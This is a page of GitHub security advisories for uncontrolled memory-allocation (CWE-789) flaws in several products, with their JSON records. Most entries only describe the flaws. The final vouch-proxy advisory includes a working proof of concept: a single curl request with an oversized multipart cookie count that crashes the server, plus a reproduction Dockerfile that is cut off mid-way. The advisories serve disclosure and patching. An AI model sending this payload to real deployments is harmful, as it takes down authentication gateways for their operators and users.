CWE-789
AllowedMemory Allocation with Excessive Size Value
Abstraction: Variant · Status: Draft
The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.
401 vulnerabilities reference this CWE, most recent first.
GHSA-PPXJ-MVPH-J9W4
Vulnerability from github – Published: 2026-08-04 21:30 – Updated: 2026-08-04 21:30SnailJob 1.7.0 contains a denial of service vulnerability in the FuryUtil.deserialize helper that allows authenticated attackers to crash the server by supplying a crafted Zstandard-compressed payload with an inflated frame_content_size field in the frame header. Attackers can store a base64-encoded Zstandard payload declaring an arbitrarily large decompressed size in a retry task argument, causing the JVM to attempt an unbounded array allocation and triggering an unrecoverable java.lang.OutOfMemoryError when the task is dispatched through the retry-task pipeline.
{
"affected": [],
"aliases": [
"CVE-2026-69702"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-04T19:16:53Z",
"severity": "HIGH"
},
"details": "SnailJob 1.7.0 contains a denial of service vulnerability in the FuryUtil.deserialize helper that allows authenticated attackers to crash the server by supplying a crafted Zstandard-compressed payload with an inflated frame_content_size field in the frame header. Attackers can store a base64-encoded Zstandard payload declaring an arbitrarily large decompressed size in a retry task argument, causing the JVM to attempt an unbounded array allocation and triggering an unrecoverable java.lang.OutOfMemoryError when the task is dispatched through the retry-task pipeline.",
"id": "GHSA-ppxj-mvph-j9w4",
"modified": "2026-08-04T21:30:28Z",
"published": "2026-08-04T21:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69702"
},
{
"type": "WEB",
"url": "https://gitee.com/aizuda/snail-job"
},
{
"type": "WEB",
"url": "https://gitee.com/aizuda/snail-job/issues/ICRJMI"
},
{
"type": "WEB",
"url": "https://gitee.com/aizuda/snail-job/releases#release-vsj2.0.0"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/snailjob-denial-of-service-via-furyutil-deserialize-oom"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-PXP6-97Q7-W6WM
Vulnerability from github – Published: 2025-05-07 18:30 – Updated: 2025-05-07 18:30A vulnerability in the Wireless Network Control daemon (wncd) of Cisco IOS XE Software for Wireless LAN Controllers (WLCs) could allow an unauthenticated, adjacent wireless attacker to cause a denial of service (DoS) condition.
This vulnerability is due to improper memory management. An attacker could exploit this vulnerability by sending a series of IPv6 network requests from an associated wireless IPv6 client to an affected device. To associate a client to a device, an attacker may first need to authenticate to the network, or associate freely in the case of a configured open network. A successful exploit could allow the attacker to cause the wncd process to consume available memory and eventually cause the device to stop responding, resulting in a DoS condition.
{
"affected": [],
"aliases": [
"CVE-2025-20140"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-07T18:15:36Z",
"severity": "HIGH"
},
"details": "A vulnerability in the Wireless Network Control daemon (wncd) of Cisco IOS XE Software for Wireless LAN Controllers (WLCs) could allow an unauthenticated, adjacent wireless attacker to cause a denial of service (DoS) condition.\n\n This vulnerability is due to improper memory management. An attacker could exploit this vulnerability by sending a series of IPv6 network requests from an associated wireless IPv6 client to an affected device. To associate a client to a device, an attacker may first need to authenticate to the network, or associate freely in the case of a configured open network. A successful exploit could allow the attacker to cause the wncd process to consume available memory and eventually cause the device to stop responding, resulting in a DoS condition.",
"id": "GHSA-pxp6-97q7-w6wm",
"modified": "2025-05-07T18:30:48Z",
"published": "2025-05-07T18:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20140"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-wlc-wncd-p6Gvt6HL"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-Q3FV-X8VG-QQM4
Vulnerability from github – Published: 2026-07-14 19:52 – Updated: 2026-07-14 19:52Summary
When Trivy scans a Helm chart archive (.tgz), its custom tar unpacker reads each entry with io.ReadAll(tr) and no size limit. An attacker who can place a malicious .tgz file in the scanned path can craft a small compressed archive that decompresses to gigabytes, causing the Trivy process to be killed by the OS OOM killer.
Affected configurations
Exploitation requires the attacker to place a crafted .tgz file in a location that Trivy will scan as a Helm chart. This applies to the following scan targets:
| Command | Condition |
|---|---|
trivy config <dir> |
Directory contains a crafted .tgz Helm chart (misconfiguration scanning is always enabled) |
trivy filesystem --scanners misconf <dir> |
Directory contains a crafted .tgz Helm chart and --scanners misconf is explicitly enabled |
trivy image --scanners misconf <image> |
Image contains a crafted .tgz Helm chart and --scanners misconf is explicitly enabled |
Realistic scenarios include:
- A CI pipeline that runs trivy config . on a repository where a contributor can submit a pull request containing a crafted chart archive.
- A pipeline that scans a container image with --scanners misconf, whose build context includes untrusted .tgz files.
Impact
An attacker who satisfies the conditions above can exhaust all available memory on the host running Trivy. The OS OOM killer will terminate the Trivy process and may affect other processes sharing the same host or CI runner.
The practical impact in CI environments is denial of service: the scan fails, the pipeline is blocked, and repeated submissions re-trigger the same condition. Cloud CI runners may also incur additional costs for consumed resources.
There is no impact on confidentiality or integrity of the scanned system.
Patches
Fixed in Trivy v0.71.0 (#10718). The custom tar unpacker was replaced with archive.LoadArchiveFiles from the official helm.sh/helm/v4 SDK, which enforces per-entry and total size limits and validates archive structure. Users should upgrade to v0.71.0 or later.
Workarounds
If upgrading is not immediately possible:
- Set a memory limit (cgroup/container) on the Trivy process to bound the blast radius.
- Use --skip-dirs to exclude directories containing untrusted Helm chart archives from the scan.
- Avoid scanning repositories or images with untrusted .tgz files.
Credits
Reported by @jamesgol.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/aquasecurity/trivy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.71.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54448"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770",
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-14T19:52:14Z",
"nvd_published_at": "2026-06-25T17:16:41Z",
"severity": "HIGH"
},
"details": "## Summary\n\nWhen Trivy scans a Helm chart archive (`.tgz`), its custom tar unpacker reads each entry with `io.ReadAll(tr)` and no size limit. An attacker who can place a malicious `.tgz` file in the scanned path can craft a small compressed archive that decompresses to gigabytes, causing the Trivy process to be killed by the OS OOM killer.\n\n## Affected configurations\n\nExploitation requires the attacker to place a crafted `.tgz` file in a location that Trivy will scan as a Helm chart. This applies to the following scan targets:\n\n| Command | Condition |\n| --- | --- |\n| `trivy config \u003cdir\u003e` | Directory contains a crafted `.tgz` Helm chart (misconfiguration scanning is always enabled) |\n| `trivy filesystem --scanners misconf \u003cdir\u003e` | Directory contains a crafted `.tgz` Helm chart **and** `--scanners misconf` is explicitly enabled |\n| `trivy image --scanners misconf \u003cimage\u003e` | Image contains a crafted `.tgz` Helm chart **and** `--scanners misconf` is explicitly enabled |\n\nRealistic scenarios include:\n- A CI pipeline that runs `trivy config .` on a repository where a contributor can submit a pull request containing a crafted chart archive.\n- A pipeline that scans a container image with `--scanners misconf`, whose build context includes untrusted `.tgz` files.\n\n## Impact\n\nAn attacker who satisfies the conditions above can exhaust all available memory on the host running Trivy. The OS OOM killer will terminate the Trivy process and may affect other processes sharing the same host or CI runner.\n\nThe practical impact in CI environments is denial of service: the scan fails, the pipeline is blocked, and repeated submissions re-trigger the same condition. Cloud CI runners may also incur additional costs for consumed resources.\n\nThere is no impact on confidentiality or integrity of the scanned system.\n\n## Patches\n\nFixed in Trivy `v0.71.0` (#10718). The custom tar unpacker was replaced with `archive.LoadArchiveFiles` from the official `helm.sh/helm/v4` SDK, which enforces per-entry and total size limits and validates archive structure. Users should upgrade to `v0.71.0` or later.\n\n## Workarounds\n\nIf upgrading is not immediately possible:\n- Set a memory limit (cgroup/container) on the Trivy process to bound the blast radius.\n- Use `--skip-dirs` to exclude directories containing untrusted Helm chart archives from the scan.\n- Avoid scanning repositories or images with untrusted `.tgz` files.\n\n## Credits\n\nReported by @jamesgol.",
"id": "GHSA-q3fv-x8vg-qqm4",
"modified": "2026-07-14T19:52:14Z",
"published": "2026-07-14T19:52:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/aquasecurity/trivy/security/advisories/GHSA-q3fv-x8vg-qqm4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54448"
},
{
"type": "WEB",
"url": "https://github.com/aquasecurity/trivy/pull/10718"
},
{
"type": "WEB",
"url": "https://github.com/aquasecurity/trivy/commit/441251e51ae46cbcf7f436547e0a5766b25328b4"
},
{
"type": "PACKAGE",
"url": "https://github.com/aquasecurity/trivy"
},
{
"type": "WEB",
"url": "https://github.com/aquasecurity/trivy/releases/tag/v0.71.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Trivy: Helm chart tar bomb causes OOM via unbounded io.ReadAll in parser"
}
GHSA-Q6HH-GP44-4HCM
Vulnerability from github – Published: 2026-07-31 16:10 – Updated: 2026-07-31 16:15Summary
Config file parsers, json, yaml, xml etc in parser.go have no file size limit/checks, allowing for a giant config file to potentially OOM the wings process.
Impact
All wings users who have an egg with a non-file parser configuration file setting.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/pterodactyl/wings"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.13.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-52857"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770",
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-31T16:10:57Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nConfig file parsers, `json`, `yaml`, `xml` etc in parser.go have no file size limit/checks, allowing for a giant config file to potentially OOM the wings process.\n\n### Impact\nAll wings users who have an egg with a non-`file` parser configuration file setting.",
"id": "GHSA-q6hh-gp44-4hcm",
"modified": "2026-07-31T16:15:33Z",
"published": "2026-07-31T16:10:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pterodactyl/wings/security/advisories/GHSA-q6hh-gp44-4hcm"
},
{
"type": "WEB",
"url": "https://github.com/pterodactyl/wings/commit/5f71f65711b6b9e6f913bec94a7b36d9a5eaae49"
},
{
"type": "PACKAGE",
"url": "https://github.com/pterodactyl/wings"
},
{
"type": "WEB",
"url": "https://github.com/pterodactyl/wings/releases/tag/v1.13.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Wings: Maliciously or erroneously created parsed config files can cause wings process to OOM"
}
GHSA-Q7VQ-23C3-QM7W
Vulnerability from github – Published: 2024-08-14 18:32 – Updated: 2025-11-04 18:31IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.5 could allow an authenticated user to cause a denial of service with a specially crafted query due to improper memory allocation. IBM X-Force ID: 292639.
{
"affected": [],
"aliases": [
"CVE-2024-35152"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-14T18:15:12Z",
"severity": "MODERATE"
},
"details": "IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.5 could allow an authenticated user to cause a denial of service with a specially crafted query due to improper memory allocation. IBM X-Force ID: 292639.",
"id": "GHSA-q7vq-23c3-qm7w",
"modified": "2025-11-04T18:31:17Z",
"published": "2024-08-14T18:32:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35152"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/292639"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20240912-0003"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7165342"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-Q834-8QMM-V933
Vulnerability from github – Published: 2026-04-23 21:26 – Updated: 2026-04-23 21:26Summary
When exporting telemetry to a back-end/collector over gRPC or HTTP using OpenTelemetry Protocol format (OTLP), if the request results in a unsuccessful request (i.e. HTTP 4xx or 5xx), the response is read into memory with no upper-bound on the number of bytes consumed.
This could cause memory exhaustion in the consuming application if the configured back-end/collector endpoint is attacker-controlled (or a network attacker can MitM the connection) and an extremely large body is returned by the response.
Details
https://github.com/open-telemetry/opentelemetry-dotnet/pull/6564 introduced a change to read the response body when a non-200 HTTP status code is received when exporting telemetry to aid debugging by operators so that the error response is included in the logs emitted by the exporter for both gRPC and HTTP/protobuf.
An unintended consequence of this change is that the response body is fully read into memory when received with no upper-bound.
This vulnerability was surfaced during the investigation of GHSA-w8rr-5gcm-pp58.
Impact
If an application using the OTLP exporter is configured to use a back-end/collector endpoint that is attacker-controlled (or a network attacker can MitM the connection) and an extremely large body is returned by the response the application could have its memory exhausted and create a denial-of-service condition.
Mitigation
The application's configured back-end/collector endpoint needs to behave maliciously. If the collector/back-end is a well-behaved implementation response bodies should not be excessively large if a request error occurs.
Workarounds
None known.
Remediation
#7017 updates the OTLP exporter for both gRPC and HTTP to:
- Limit the number of bytes read from the response body in an error condition to 4MiB (see https://github.com/open-telemetry/opentelemetry-proto/pull/781);
- Only attempt to read the response body if OpenTelemetry error logging is enabled.
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "OpenTelemetry.Exporter.OpenTelemetryProtocol"
},
"ranges": [
{
"events": [
{
"introduced": "1.13.1"
},
{
"fixed": "1.15.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40182"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-23T21:26:10Z",
"nvd_published_at": "2026-04-23T18:16:28Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nWhen exporting telemetry to a back-end/collector over gRPC or HTTP using OpenTelemetry Protocol format (OTLP), if the request results in a unsuccessful request (i.e. HTTP 4xx or 5xx), the response is read into memory with no upper-bound on the number of bytes consumed.\n\nThis could cause memory exhaustion in the consuming application if the configured back-end/collector endpoint is attacker-controlled (or a network attacker can MitM the connection) and an extremely large body is returned by the response.\n\n### Details\n\nhttps://github.com/open-telemetry/opentelemetry-dotnet/pull/6564 introduced a change to read the response body when a non-200 HTTP status code is received when exporting telemetry to aid debugging by operators so that the error response is included in the logs emitted by the exporter for both [gRPC](https://github.com/open-telemetry/opentelemetry-dotnet/blob/640cf63628567b76b348b26988920dbc0b5c1662/src/OpenTelemetry.Exporter.OpenTelemetryProtocol/Implementation/ExportClient/OtlpGrpcExportClient.cs#L123-L134) and [HTTP/protobuf](https://github.com/open-telemetry/opentelemetry-dotnet/blob/640cf63628567b76b348b26988920dbc0b5c1662/src/OpenTelemetry.Exporter.OpenTelemetryProtocol/Implementation/ExportClient/OtlpHttpExportClient.cs#L36-L41).\n\nAn unintended consequence of this change is that the response body is [fully read into memory when received with no upper-bound](https://github.com/open-telemetry/opentelemetry-dotnet/blob/640cf63628567b76b348b26988920dbc0b5c1662/src/OpenTelemetry.Exporter.OpenTelemetryProtocol/Implementation/ExportClient/OtlpExportClient.cs#L68-L89).\n\nThis vulnerability was surfaced during the investigation of GHSA-w8rr-5gcm-pp58.\n\n### Impact\n\nIf an application using the OTLP exporter is configured to use a back-end/collector endpoint that is attacker-controlled (or a network attacker can MitM the connection) and an extremely large body is returned by the response the application could have its memory exhausted and create a denial-of-service condition.\n\n### Mitigation\n\nThe application\u0027s configured back-end/collector endpoint needs to behave maliciously. If the collector/back-end is a well-behaved implementation response bodies should not be excessively large if a request error occurs.\n\n### Workarounds\n\nNone known.\n\n### Remediation\n\n[#7017](https://github.com/open-telemetry/opentelemetry-dotnet/pull/7017) updates the OTLP exporter for both gRPC and HTTP to:\n\n- Limit the number of bytes read from the response body in an error condition to 4MiB (see https://github.com/open-telemetry/opentelemetry-proto/pull/781);\n- Only attempt to read the response body if OpenTelemetry error logging is enabled.",
"id": "GHSA-q834-8qmm-v933",
"modified": "2026-04-23T21:26:10Z",
"published": "2026-04-23T21:26:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-dotnet/security/advisories/GHSA-q834-8qmm-v933"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40182"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-dotnet/pull/6564"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-dotnet/pull/7017"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-proto/pull/781"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-telemetry/opentelemetry-dotnet"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "OpenTelemetry dotnet: OTLP exporter reads unbounded HTTP response bodies"
}
GHSA-QHGM-4R4G-J663
Vulnerability from github – Published: 2022-06-25 00:01 – Updated: 2022-06-25 00:01The CODESYS Gateway Server V2 does not verifiy that the size of a request is within expected limits. An unauthenticated attacker may allocate an arbitrary amount of memory, which may lead to a crash of the Gateway due to an out-of-memory condition.
{
"affected": [],
"aliases": [
"CVE-2022-31804"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-06-24T08:15:00Z",
"severity": "HIGH"
},
"details": "The CODESYS Gateway Server V2 does not verifiy that the size of a request is within expected limits. An unauthenticated attacker may allocate an arbitrary amount of memory, which may lead to a crash of the Gateway due to an out-of-memory condition.",
"id": "GHSA-qhgm-4r4g-j663",
"modified": "2022-06-25T00:01:01Z",
"published": "2022-06-25T00:01:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31804"
},
{
"type": "WEB",
"url": "https://customers.codesys.com/index.php?eID=dumpFile\u0026t=f\u0026f=17141\u0026token=17867e35cfd30c77ba0137f9a17b3a557a4b7b66\u0026download="
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QHM4-JXV7-J9PQ
Vulnerability from github – Published: 2022-02-15 01:57 – Updated: 2023-01-27 21:42The Kubelet component in versions 1.15.0-1.15.9, 1.16.0-1.16.6, and 1.17.0-1.17.2 has been found to be vulnerable to a denial of service attack via the kubelet API, including the unauthenticated HTTP read-only API typically served on port 10255, and the authenticated HTTPS API typically served on port 10250.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "k8s.io/kubernetes"
},
"ranges": [
{
"events": [
{
"introduced": "1.15.0"
},
{
"fixed": "1.15.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "k8s.io/kubernetes"
},
"ranges": [
{
"events": [
{
"introduced": "1.16.0"
},
{
"fixed": "1.16.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "k8s.io/kubernetes"
},
"ranges": [
{
"events": [
{
"introduced": "1.17.0"
},
{
"fixed": "1.17.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-8551"
],
"database_specific": {
"cwe_ids": [
"CWE-770",
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-06T21:53:58Z",
"nvd_published_at": "2020-03-27T15:15:00Z",
"severity": "MODERATE"
},
"details": "The Kubelet component in versions 1.15.0-1.15.9, 1.16.0-1.16.6, and 1.17.0-1.17.2 has been found to be vulnerable to a denial of service attack via the kubelet API, including the unauthenticated HTTP read-only API typically served on port 10255, and the authenticated HTTPS API typically served on port 10250.",
"id": "GHSA-qhm4-jxv7-j9pq",
"modified": "2023-01-27T21:42:48Z",
"published": "2022-02-15T01:57:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8551"
},
{
"type": "WEB",
"url": "https://github.com/kubernetes/kubernetes/issues/89377"
},
{
"type": "WEB",
"url": "https://github.com/kubernetes/kubernetes/pull/87913"
},
{
"type": "WEB",
"url": "https://github.com/kubernetes/kubernetes/commit/9802bfcec0580169cffce2a3d468689a407fa7dc"
},
{
"type": "WEB",
"url": "https://groups.google.com/forum/#!topic/kubernetes-security-announce/2UOlsba2g0s"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3SOCLOPTSYABTE4CLTSPDIFE6ZZZR4LX"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20200413-0003"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Allocation of Resources Without Limits or Throttling and Uncontrolled Memory Allocation in Kubernetes"
}
GHSA-QP28-HPG5-J7XC
Vulnerability from github – Published: 2026-07-21 12:33 – Updated: 2026-08-18 00:30A flaw was found in libssh. A remote authenticated client can issue SSH_FXP_READ requests with an arbitrarily large length, causing a libssh SFTP server to allocate excessive memory and potentially exhaust it through repeated requests.
{
"affected": [],
"aliases": [
"CVE-2026-59844"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-21T12:18:57Z",
"severity": "MODERATE"
},
"details": "A flaw was found in libssh. A remote authenticated client can issue SSH_FXP_READ requests with an arbitrarily large length, causing a libssh SFTP server to allocate excessive memory and potentially exhaust it through repeated requests.",
"id": "GHSA-qp28-hpg5-j7xc",
"modified": "2026-08-18T00:30:28Z",
"published": "2026-07-21T12:33:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59844"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:42922"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:55855"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-59844"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2498177"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QQFF-5854-PX68
Vulnerability from github – Published: 2026-08-20 17:26 – Updated: 2026-08-20 17:26Unbounded Multipart Cookie Allocation DoS in vouch-proxy
Summary
vouch-proxy v0.47.2 contains an unauthenticated remote denial-of-service vulnerability in its multipart cookie reassembly logic. The /validate endpoint parses the total cookie part count directly from the attacker-controlled cookie name (e.g., VouchCookie_1of<N>) and passes it without any bounds check to make([]string, N). A single HTTP request with N=10000000000 causes the Go runtime to attempt a ~160 GB heap allocation, triggering a fatal out-of-memory error that crashes the server process immediately. No authentication or prior session is required.
Details
The vulnerability exists in pkg/cookie/cookie.go. The Cookie() function iterates over all cookies in the request, identifies multipart cookies by the _NofM suffix in their name, and initializes the reassembly slice on the first matching cookie:
// pkg/cookie/cookie.go:123–130
xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1)
xyArray := strings.Split(xOFy, "of")
if numParts == -1 {
if numParts, err = strconv.Atoi(xyArray[1]); err != nil {
return "", fmt.Errorf("multipart cookie fail: %s", err)
}
cookieParts = make([]string, numParts) // sink: unbounded allocation
}
The value in xyArray[1] comes directly from the cookie name supplied by the client. There is no maximum value check, no positive-range assertion, and no format validation before strconv.Atoi parses it. The result is used as the length argument to make, so an attacker who supplies VouchCookie_1of10000000000 causes the runtime to request approximately 10_000_000_000 × 16 bytes ≈ 160 GB of memory in a single call.
The complete exploit path from network entry to crash:
main.go:167—/validateand/_external-auth-:idare registered wrapped inJWTCacheHandler.pkg/jwtmanager/jwtcache.go:54—JWTCacheHandlercallsFindJWT(r)before any authentication check.pkg/jwtmanager/jwtmanager.go:228—FindJWTcallscookie.Cookie(r).pkg/cookie/cookie.go:109—r.Cookies()reads the attacker-suppliedCookie:header.pkg/cookie/cookie.go:124— cookie name suffix is split on"of".pkg/cookie/cookie.go:126—strconv.Atoi(xyArray[1])parses the attacker-controlled total.pkg/cookie/cookie.go:130— sink:make([]string, numParts)attempts a gigantic heap allocation.
Because the code path is exercised before JWT validation, no session token, credentials, or prior authentication are needed.
A suggested remediation is to add a strict upper bound and format validation before the allocation:
--- a/pkg/cookie/cookie.go
+++ b/pkg/cookie/cookie.go
@@ const maxCookieSize = 4000
+const maxCookieParts = 32
@@
- xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1)
- xyArray := strings.Split(xOFy, "of")
+ xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1)
+ partStr, totalStr, ok := strings.Cut(xOFy, "of")
+ if !ok || partStr == "" || totalStr == "" {
+ return "", fmt.Errorf("multipart cookie fail: invalid cookie part name")
+ }
if numParts == -1 {
- if numParts, err = strconv.Atoi(xyArray[1]); err != nil {
+ if numParts, err = strconv.Atoi(totalStr); err != nil {
return "", fmt.Errorf("multipart cookie fail: %s", err)
}
+ if numParts < 1 || numParts > maxCookieParts {
+ return "", fmt.Errorf("multipart cookie fail: invalid part count %d", numParts)
+ }
cookieParts = make([]string, numParts)
}
PoC
Environment setup
Build the vulnerable image from source (requires the vouch-proxy repository at the path below):
docker build \
-f vuln-001/Dockerfile \
-t vouch-vuln001 \
repo
Start the container (no memory limit is imposed; the Go runtime itself fails the allocation):
docker run -d --name vouch-vuln001-poc -p 19090:9090 vouch-vuln001
Wait for the server to respond to a baseline request (expected HTTP 302 or similar):
curl -v http://127.0.0.1:19090/validate
Attack request
Send a single unauthenticated HTTP GET with the malicious cookie name:
curl -v http://127.0.0.1:19090/validate \
-H 'Host: app.example.com' \
-H 'Cookie: VouchCookie_1of10000000000=x'
Alternatively, run the automated PoC script:
python3 poc.py --image vouch-vuln001 --port 19090 --parts 10000000000
Expected result
The server process crashes immediately with a Go runtime fatal error. Container logs show:
fatal error: runtime: out of memory
runtime.makeslice(0x0?, 0x0?, 0x0?)
/usr/local/go/src/runtime/slice.go:117
github.com/vouch/vouch-proxy/pkg/cookie.Cookie(...)
/src/pkg/cookie/cookie.go:130
github.com/vouch/vouch-proxy/pkg/jwtmanager.FindJWT(...)
/src/pkg/jwtmanager/jwtmanager.go:228
main.main.JWTCacheHandler.func1(...)
/src/pkg/jwtmanager/jwtcache.go:54
The container exits with code 2 (Go runtime fatal). The curl client receives an empty reply. The attack is 100% deterministic and reproducible on every run.
Minimal configuration (no real OAuth provider required):
vouch:
logLevel: info
listen: 0.0.0.0
port: 9090
domains:
- vouch.github.io
oauth:
provider: indieauth
client_id: http://vouch.github.io
auth_url: https://indielogin.com/auth
callback_url: http://vouch.github.io:9090/auth
Impact
This is an unauthenticated remote denial-of-service vulnerability. Any network-reachable vouch-proxy instance running with a default or standard configuration is affected.
An attacker who can send a single HTTP request to the /validate or /_external-auth-:id endpoint can crash the vouch-proxy process immediately. In containerized deployments the container restarts; a persistent attacker can send the request again immediately after restart, keeping the proxy permanently unavailable. Since vouch-proxy is used as an authentication gateway in front of protected applications, its unavailability can result in downstream services becoming inaccessible or, depending on the reverse-proxy fail-open/fail-closed policy, unintentionally exposed.
No authentication, session, or prior account is required. The attack is reliable across all deployment configurations because the default cookie name (VouchCookie) is used and the vulnerable code path is exercised unconditionally on every request to the listed endpoints.
Reproduction artifacts
Dockerfile
# VULN-001 — Unbounded Multipart Cookie Allocation DoS
# vouch/vouch-proxy v0.47.2 (commit b683f60)
#
# Attack: GET /validate with Cookie: VouchCookie_1of<HUGE>=x
# -> cookie.Cookie() calls strconv.Atoi on the attacker-controlled total
# -> make([]string, <HUGE>) triggers an immediate OOM fatal in the Go runtime
# -> Server process crashes; no authentication required
#
# Build: docker build -f vuln-001/Dockerfile -t vouch-vuln001 /path/to/repo
# Run: docker run --rm -p 9090:9090 --name vouch-vuln001 vouch-vuln001
# ---------- Stage 1: compile vouch-proxy from source ----------
FROM golang:1.26 AS builder
WORKDIR /src
COPY . .
# Build a statically linked binary; skip do.sh which requires live git tags.
# Version ldflags are pinned to the affected commit for reproducibility.
RUN CGO_ENABLED=0 GOOS=linux \
go build -v \
-ldflags="-s -w \
-X main.version=b683f60 \
-X main.uname=linux \
-X main.builddt=2024-01-01T00:00:00Z \
-X main.host=vuln-poc \
